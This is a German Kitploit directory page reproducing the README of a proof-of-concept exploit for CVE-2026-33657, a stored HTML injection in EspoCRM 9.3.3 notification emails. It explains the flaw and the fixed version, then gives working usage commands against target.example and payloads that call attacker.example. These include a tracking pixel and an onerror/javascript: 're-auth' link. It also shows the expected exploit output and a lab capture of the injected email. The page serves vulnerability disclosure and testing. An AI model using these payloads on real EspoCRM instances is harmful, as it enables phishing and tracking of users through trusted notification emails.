Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33657 — EspoCRM 9.3.3 – Gespeicherte HTML-Injektion in E-Mail-Benachrichtigungen | Kitploit
Tools/GitHubGitHub/entrovyx/cve-2026-33657
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubentrovyx/cve-2026-33657

CVE-2026-33657

EspoCRM 9.3.3 – Gespeicherte HTML-Injektion in E-Mail-Benachrichtigungen

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33657 - EspoCRM 9.3.3 Gespeicherte HTML-Injektion in E-Mail-Benachrichtigungen

Authentifizierter Proof-of-Concept für gespeicherte HTML-Injektion in EspoCRM 9.3.3 E-Mail-Benachrichtigungen.

Zusammenfassung

EspoCRM 9.3.3 rendert Stream-Notiz-Benachrichtigungs-E-Mails, indem der Notiztext mit Markdown transformiert und das resultierende HTML mit dreifachen geschweiften Klammern ({{{post}}}) in E-Mail-Vorlagen eingefügt wird. Ein authentifizierter Benutzer, der einen Stream-Beitrag erstellen und eine Benachrichtigung auslösen kann, kann vom Angreifer kontrolliertes HTML speichern, das später im generierten E-Mail-Body gerendert wird.

Der Exploit führt den vom Angreifer kontrollierten Remote-Teil des Ablaufs aus:

  1. Authentifiziert sich bei EspoCRM.
  2. Ermittelt optional die Version über /api/v1/App/user.
  3. Erstellt eine bösartige Note, die HTML enthält.
  4. Verwendet --mention oder --target-user-id, um ein Benachrichtigungsziel in die Warteschlange zu stellen.
  • Bestätigt, dass der Payload gespeichert ist und das Benachrichtigungsziel in der API-Antwort vorhanden ist.
  • Die E-Mail-Zustellung erfolgt, wenn der normale SendEmailNotifications-Job oder Cron von EspoCRM die in der Warteschlange befindliche Benachrichtigung verarbeitet.

    Betroffene Version

    • Verwundbar: EspoCRM 9.3.3
    • Behoben: EspoCRM 9.3.4
    • Advisory: https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
    • CVE: CVE-2026-33657
    • CWE: CWE-80

    Anforderungen

    • Python 3
    • requests
    • Gültige EspoCRM-Anmeldedaten
    • Fähigkeit, Stream-Note-Datensätze zu erstellen
    • Ein Benachrichtigungsziel:
      • --mention <benutzername> für Erwähnungs-E-Mail-Benachrichtigungen, oder
      • --target-user-id <id> für gezielte Stream-Beitrags-Benachrichtigungen

    Abhängigkeit installieren:

    root@kitploit:~
    python3 -m pip install requests
    

    Verwendung

    Bevorzugter erwähnungsbasierter Pfad:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u http://127.0.0.1:8083 \
      -U testuser \
      -P 'Admin12345!' \
      --mention admin
    

    Eine benutzerdefinierte Tracking-URL verwenden:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --mention victim \
      --tracking-url https://attacker.example/pixel.gif
    

    Einen vollständig benutzerdefinierten HTML-Payload verwenden:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --mention victim \
      --payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'
    

    Eine bestimmte Benutzer-ID anstelle einer Erwähnung anvisieren:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --target-user-id 0123456789abcdef0 \
      --target-user-name 'Victim User'
    

    Nur Fingerprinting, ohne eine Notiz zu erstellen:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --detect-only
    

    Optionen

    root@kitploit:~
    -u, --url                 Basis-EspoCRM-URL
    -U, --username            EspoCRM-Benutzername
    -P, --password            EspoCRM-Passwort
    --mention                 Zu erwähnender Benutzername, ohne @
    --target-user-id          Benutzer-ID für gezielte Stream-Beitrags-Benachrichtigungen
    --target-user-name        Anzeigename für --target-user-id
    --payload                 Roher HTML-Payload, der in der Note gespeichert werden soll
    --tracking-url            Tracking-Pixel-URL, die vom Standard-Payload verwendet wird
    --link-url                Link-URL, die vom Standard-Payload verwendet wird
    --marker                  Markierungstext, der dem Payload vorangestellt wird
    --detect-only             Nur Version per Fingerprinting ermitteln; keine Note erstellen
    --skip-version-check      /api/v1/App/user vor der Ausnutzung überspringen
    --force                   Fortfahren, auch wenn der Versions-Fingerprint nicht 9.3.3 ist
    --insecure                TLS-Zertifikatsprüfung deaktivieren
    

    Erwartete Ausgabe

    Ein erfolgreicher Lauf erstellt eine bösartige Notiz und bestätigt das Benachrichtigungsziel:

    root@kitploit:~
    [*] /api/v1/App/user: HTTP 200
    [*] Detected version: 9.3.3
    [+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
    [*] Creating malicious Note as testuser
    [*] Note response: HTTP 200 ...
    [+] Exploit payload stored in Note post.
    [+] Note id: 69fddeef8db756271
    [+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
    [+] Notification target list returned by API: 69fdcfb66c34ccb81
    [+] Complete remote trigger submitted.
    

    Auf einer verwundbaren Instanz bewahrt der generierte HTML-E-Mail-Body das injizierte HTML. Ein Labor-Capture sieht wie folgt aus:

    root@kitploit:~
    <img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
    <a href="javascript:alert(33657)" style="color:red">re-auth</a>
    

    Labor-Verifizierung

    In einem lokalen EspoCRM-Labor den Benachrichtigungs-Job nach dem Ausführen des Exploits auslösen:

    root@kitploit:~
    sudo -u www-data php command.php run-job SendEmailNotifications
    

    Der resultierende E-Mail-Body sollte das injizierte HTML im text/html-Teil enthalten.

    Hinweise

    • Der Exploit benötigt keinen Shell-Zugriff auf das Ziel; Shell-Zugriff ist nur für die lokale Labor-Verifizierung des in der Warteschlange befindlichen E-Mail-Jobs nützlich.
    • Wenn die API @@version meldet, handelt es sich beim Ziel wahrscheinlich um einen Source-Tree-Build. Das Skript fährt fort, da der zugrunde liegende Code möglicherweise weiterhin das verwundbare 9.3.3-Tag ist.
    • Wenn --mention keine geparste Erwähnung erzeugt, die messagePermission und mentionPermission des Angreifers prüfen und bestätigen, dass der Zielbenutzername existiert und Benachrichtigungen empfangen kann.
    Tool herunterladen